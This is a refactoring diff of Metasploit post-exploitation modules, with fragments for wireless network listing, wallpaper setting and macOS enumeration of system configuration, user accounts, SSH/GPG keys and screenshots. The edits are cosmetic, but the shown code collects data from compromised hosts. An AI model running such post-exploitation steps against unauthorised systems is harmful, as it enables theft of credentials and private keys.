@ -152,7 +141,6 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
when /linux/i
|
||||
|
||||
listing = cmd_exec('iwlist scanning')
|
||||
if listing.nil?
|
||||
print_error("Unable to generate wireless listing.")
|
||||
|
@ -169,7 +157,6 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
when /solaris/i
|
||||
|
||||
listing = cmd_exec('dladm scan-wifi')
|
||||
if listing.blank?
|
||||
print_error("Unable to generate wireless listing.")
|
||||
|
@ -182,7 +169,6 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
when /bsd/i
|
||||
|
||||
interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
|
||||
# Printing interface as this platform requires the interface to be specified
|
||||
# it might not be detected correctly.
|
||||
|
|
|
@ -71,12 +71,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def os_set_wallpaper(file)
|
||||
if session.type =~ /meterpreter/ && session.sys.config.sysinfo['OS'] =~ /darwin/i
|
||||
platform = 'osx'
|
||||
else
|
||||
platform = session.platform
|
||||
end
|
||||
case platform
|
||||
case session.platform
|
||||
when /osx/
|
||||
osx_set_wallpaper(file)
|
||||
when /win/
|
||||
|
|
|
@ -53,7 +53,6 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
#parse the dslocal plist in lion
|
||||
def read_ds_xml_plist(plist_content)
|
||||
|
||||
require "rexml/document"
|
||||
|
||||
doc = REXML::Document.new(plist_content)
|
||||
|
@ -132,11 +131,7 @@ class MetasploitModule < Msf::Post
|
|||
when /shell/
|
||||
osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp
|
||||
end
|
||||
if osx_ver =~/Server/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
return osx_ver =~/Server/
|
||||
end
|
||||
|
||||
# Enumerate the OS Version
|
||||
|
@ -148,13 +143,10 @@ class MetasploitModule < Msf::Post
|
|||
when /shell/
|
||||
osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp
|
||||
end
|
||||
|
||||
return osx_ver_num
|
||||
end
|
||||
|
||||
def enum_conf(log_folder)
|
||||
|
||||
session_type = session.type
|
||||
profile_datatypes = {
|
||||
'OS' => 'SPSoftwareDataType',
|
||||
'Network' => 'SPNetworkDataType',
|
||||
|
@ -188,11 +180,11 @@ class MetasploitModule < Msf::Post
|
|||
profile_datatypes.each do |name, profile_datatypes|
|
||||
print_status("\tEnumerating #{name}")
|
||||
# Run commands according to the session type
|
||||
if session_type =~ /meterpreter/
|
||||
if session.type =~ /meterpreter/
|
||||
returned_data = cmd_exec('system_profiler', profile_datatypes)
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt",returned_data)
|
||||
elsif session_type =~ /shell/
|
||||
elsif session.type =~ /shell/
|
||||
begin
|
||||
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}", 15)
|
||||
# Save data lo log folder
|
||||
|
@ -207,11 +199,11 @@ class MetasploitModule < Msf::Post
|
|||
print_status("\tEnumerating #{name}")
|
||||
# Run commands according to the session type
|
||||
begin
|
||||
if session_type =~ /meterpreter/
|
||||
if session.type =~ /meterpreter/
|
||||
command_output = cmd_exec(command[0],command[1])
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt",command_output)
|
||||
elsif session_type =~ /shell/
|
||||
elsif session.type =~ /shell/
|
||||
command_output = cmd_exec(command[0], command[1])
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt",command_output)
|
||||
|
@ -222,9 +214,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
def enum_accounts(log_folder,ver_num)
|
||||
|
||||
# Specific commands for Leopard and Snow Leopard
|
||||
leopard_commands = {
|
||||
'Users' => ['/usr/bin/dscacheutil', '-q user'],
|
||||
|
@ -261,13 +251,11 @@ class MetasploitModule < Msf::Post
|
|||
file_local_write(log_folder + "//#{name}.txt", command_output)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
# Method for getting SSH and GPG Keys
|
||||
def get_crypto_keys(log_folder)
|
||||
|
||||
# Run commands according to the session type
|
||||
if session.type =~ /shell/
|
||||
|
||||
|
@ -349,7 +337,6 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -381,7 +368,6 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
print_status("Screenshot Captured")
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue